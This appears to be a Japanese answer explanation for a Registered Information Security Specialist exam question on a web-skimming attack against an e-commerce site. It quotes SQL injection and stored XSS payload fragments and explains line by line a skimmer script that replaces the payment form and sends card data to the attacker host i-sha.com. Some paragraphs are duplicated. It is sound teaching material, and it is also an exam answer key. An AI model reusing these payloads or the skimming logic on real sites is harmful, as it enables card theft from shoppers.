情報処理安全確保支援士過去問題 令和6年秋期 午後 問3
⇄問題文と設問を画面2分割で開く⇱問題PDF出題趣旨
Webサイトの改ざんが発生したときには,悪用された脆弱性,影響を受けた利用者及びデータの範囲などを特定し,再発防止策を講じる必要がある。本問では,ECサイトのWebスキミングによるクレジットカード情報の漏えいを題材として,HTMLの仕様,ECMAScriptの仕様,Webサーバの動作及びWebアプリケーションプログラムの脆弱性に関する知識及び影響を受けた利用者を特定する能力を問う。
設問1
- a: 5
- b: クロスサイトスクリプティング
- c: 格納
- d: 2
- e: SQLインジェクション
この問題は、ログから行番号、攻撃手法、その種類を特定するものです。
表2を見ると、2行目にSQLコード、5行目にECMAScriptコードが記録されています。
攻撃コードの内容から考えると、2行目はSQLインジェクション、5行目はクロスサイトスクリプティング(XSS)の痕跡です。したがって、空欄b・eには「SQLインジェクション」または「XSS」が入ります。ただし、この時点では行番号と攻撃手法の対応はまだ確定しません。
設問には「b脆弱性がc型であれば、1回の攻撃で多数の利用者に対して偽フォームの表示が可能」とあります。XSSでは以下の3種類の型があります。
したがって、空欄bには「クロスサイトスクリプティング」、空欄cには「格納」が入ります。これに対応する行番号である空欄aは「5」となります。残る空欄d・eには「2」と「SQLインジェクション」がそれぞれ当てはまります。
∴a=5
b=クロスサイトスクリプティング
c=格納
d=2
e=SQLインジェクション
表2を見ると、2行目にSQLコード、5行目にECMAScriptコードが記録されています。
2行目:pw=' UNION select 1 FROM・・・
5行目:><script>document.getElementById(・・・
このため、空欄a・dには「2」または「5」が入ります。5行目:><script>document.getElementById(・・・
攻撃コードの内容から考えると、2行目はSQLインジェクション、5行目はクロスサイトスクリプティング(XSS)の痕跡です。したがって、空欄b・eには「SQLインジェクション」または「XSS」が入ります。ただし、この時点では行番号と攻撃手法の対応はまだ確定しません。
設問には「b脆弱性がc型であれば、1回の攻撃で多数の利用者に対して偽フォームの表示が可能」とあります。XSSでは以下の3種類の型があります。
- 反射型XSS
- URLパラメータ(?以降)をもとに動的なコンテンツを返すWebページで発生する。攻撃用リンクをクリックしたユーザーだけが対象の一度きりの攻撃
- 格納型XSS
- スクリプトを含むデータがサーバ内のファイルやデータベースに保存され、Webサーバがスクリプトを含むWebページを生成する。ユーザーがそのWebページにアクセスするたびに実行される。多くの利用者が影響を受ける
- DOMベース型XSS
- URLパラメータ(?以降)やフラグメント(#以降)をもとに動的にHTMLコンテンツ(DOM)を変更するWebページで発生する。攻撃用リンクをクリックしたユーザーだけが対象の一度きりの攻撃
したがって、空欄bには「クロスサイトスクリプティング」、空欄cには「格納」が入ります。これに対応する行番号である空欄aは「5」となります。残る空欄d・eには「2」と「SQLインジェクション」がそれぞれ当てはまります。
∴a=5
b=クロスサイトスクリプティング
c=格納
d=2
e=SQLインジェクション
設問2
- パラメータ名: order[Payment]
- 値: 1
- addEventListenerメソッドで配送先・支払方法選択画面のform要素にイベントリスナーを登録し,submit時にクレジットカード情報をクエリパラメータとしてi-sha.comに送信する。
- この問題は、ECMAScriptのソースコード(ファイルK)を読み取り、書き換え後の画面を図示するものです。HTMLやJavaScriptの知識がないとやや難しいため、コードの動きを順に解説します。
ファイルKで画面を書き換えている処理は、2行目と3行目に記述されています。
【2行目】let elem = document.querySelector('#shopping-form > div > div > div.order_payment > div.radio');- querySelector:指定した条件(セレクタ)に一致するHTML要素を取得するメソッドです。
- セレクタ#shopping-formは、id="shopping-form"の要素(配送先・支払方法選択画面のフォーム)を指します。
- >は親要素の直下の子要素を指定する記号です。
- div.order_paymentは<div class="order_payment">を、div.radioは<div class="radio">を指します。
【3行目】elem.innerHTML = '<p>カード番号・・・';- innerHTML:取得したHTML要素の中身(HTMLコード)を取得または更新するためのプロパティです。
- ここでは、新しいHTMLコードを代入して「お支払方法」欄を丸ごと上書きしています。
<p>カード番号<input type="text" id="get_number" /></p>→ "カード番号"というラベルとテキストボックス<p>有効期限<input type="text" id="get_exp_month" />月/<input type="text" id="get_exp_year" />年</p>→ "有効期限"というラベルに続き、月入力用テキストボックスと"月/"というラベル、年入力用テキストボックスと"年"というラベル(□月/□年)<p>名義<input type="text" id="get_name" /></p>→ "名義"というラベルとテキストボックス<p>セキュリティコード<input type="text" id="get_code" /></p>→ "セキュリティコード"というラベルとテキストボックス<input type="hidden" name="order[Payment]" value="1" />→ hidden属性は非表示のフォーム要素。画面には表示されないが、フォーム送信時には支払方法として「1」が送信される。
書き換え後は、もともとあった「支払方法のラジオボタン」が削除され、代わりに支払方法の2つのラジオボタンが上記のカード番号、有効期限(年月)、名義、セキュリティコードのラベルとテキストボックスで構成される偽フォームに置き換わります。
∴ - この問題は、下線②のパラメータ名とその値を答えるものです。
問題文には「支払方法が勝手にクレジットカード決済になってしまう」とあります。これは、ファイルKに支払方法をクレジットカード払いに固定する処理が含まれている可能性を示しています。
コードを確認すると、以下の行が該当します。<input type="hidden" name="order[Payment]" value="1" />name="order[Payment]"は、元のHTMLソースにおいて支払方法(クレジットカード・銀行振込)の選択するためのラジオボタンに付与されていた属性です。<input type="radio" id="Payment_1" name="order[Payment]" required data-trigger="change" value="1" checked />ラジオボタンでクレジットカードを選択すると"1"が、銀行振込を選択すると"2"がWebサーバに送信されるようになっていましたが、改ざん後は隠し要素(hidden要素)となり値が"1"で固定されています。これにより利用者は選択できず、Webサーバには常にクレジットカードの選択を示す"order[Payment]=1"が送信されます。
<label for="Payment_1"><span>クレジットカード決済</span><label>
<input type="radio" id="Payment_2" name="order[Payment]" required data-trigger="change" value="2" />
<label for="Payment_2><span>銀行振込決済</span><label>
∴パラメータ名=order[Payment]
値=1 - この問題は、ファイルKの4~15行目を読み取り、その処理内容を説明するものです。ECMAScriptに不慣れな人でも理解できるように、行ごとに解説します。
- フォーム要素の取得とイベント設定4:let form = document.getElementById('shopping-form');getElementByIdはHTML要素をid属性値で取得するメソッドです。ここでは、配送先・支払方法選択画面のフォーム(<form id="shopping-form">)を取得し、formという変数に格納しています。5:form.addEventListener('submit', ・・・);addEventListenerはイベントを登録するメソッドです。ここではフォーム送信時(submitイベント)に実行する処理を登録します。「次へ」ボタンが押されると、6~14行目の処理が実行されます。
- フォーム送信時の処理内容6:const req = new XMLHttprequest();Webサーバと非同期でHTTP通信を行うためのオブジェクトを作成します。7:let number = document.getElementById('get_number').value;変数 number に、id=get_number要素の値(カード番号)を格納しています。8~11行目も同様に、月、年、名義、セキュリティコードの値を変数に格納しています。
- 攻撃用URLの生成と送信
12行目では、取得したカード情報をクエリパラメータとして結合し、攻撃者のサーバ(https://i-sha.com)へ送信するURLを作成します。次のようなURLになります。https://i-sha.com/?num=4111111111111111&exp=02%2F2026&name=Taro%20Yamada&code=99913:req.open("GET", url);12行目のURLにGETメソッドで攻撃者のWebサーバに送信しています。
14:req.send();
この処理内容を、5W1H(いつどこにどうやってどのように何を送信しているか)を網羅しつつ、解答欄に収まる字数で端的に記述します。6~14行目の処理詳細まで書くと解答欄に収まらないので、「フォーム送信時に取得したクレジットカード情報をクエリパラメータとしてi-sha.comに送信する」程度で良いかと思います。
∴addEventListenerメソッドで配送先・支払方法選択画面のform要素にイベントリスナーを登録し,submit時にクレジットカード情報をクエリパラメータとしてi-sha.comに送信する。 - フォーム要素の取得とイベント設定
設問3
- WebサーバのアクセスログのリクエストURIから情報を取得する。
- f: 配送先・支払方法選択画面にアクセスしたアカウント名
- 本文中には「GETリクエストが送られる先のURLにアクセスしたところ,404のステータスコードが返ってきた。・・・」に着目します。HTTPステータスコードは大きく以下に分類されます。
- 2xx系(成功):リクエストが正常に処理されたことを示す
- 3xx系(リダイレクト):別の場所への転送やURL変更を通知
- 4xx系(クライアントエラー):利用者のリクエストに問題がある
- 5xx系(サーバエラー):サーバ側の障害
Webサーバが稼働していれば、アクセスログにはリクエスト内容が記録されます。図2の13行目ではリスエストメソッドに"GET"を使用していることがわかり、GETメソッドでは、フォームデータがクエリパラメータとしてURLに含まれるため、クレジットカード情報がそのままアクセスログに残ります。今回のようにGETメソッドでクレジットカード情報が送られていれば、ページが存在しなくても(404でも)攻撃者はアクセスログから情報を取得できます。
解答には、以下の2点を盛り込みます。- WebサーバのアクセスログにリクエストURIが記録される
- クレジットカード情報がリクエストURIのクエリパラメータによって取得できる
なお、POSTメソッドでは、Apacheのデフォルト設定では送信データはアクセスログに記録されません。この点も試験で問われることがあるため、覚えておくと有利です。
∴WebサーバのアクセスログのリクエストURIから情報を取得する。 - 空欄fには、アプリケーションログの抽出条件が当てはまります。
本文中の〔J社ECサイトの構成〕によると、WebアプリPのアプリケーションログには、①アクセス日時、②画面名、③アカウント名、④アクセス元IPなど次の情報が記録されます。これらの中から、設問の目的に合う条件を組み合わせます。
利用者を特定するには、アカウント名が必要です。アカウント名を条件に加えることで、特定の人物に絞り込むことができます。
今回特定したいのは、攻撃者のWebサーバにクレジットカード情報を送信する直前の操作を行った利用者です。この操作は、設問2(3)の解説でも触れたとおり、ファイルKで書き換えられた配送先・支払方法選択画面で「次へ」ボタンを押す操作にあたります。したがって、抽出条件には画面名が「配送先・支払方法選択」であることを含めます。これにより、カード情報送信直前の操作ログだけを取り出すことが可能です。
以上より抽出条件は以下の2点です。この2つを組み合わせれば、目的に合致したログが抽出できます。- アカウント名(利用者の特定)
- 画面名が「配送先・支払方法選択」(攻撃直前の操作の特定)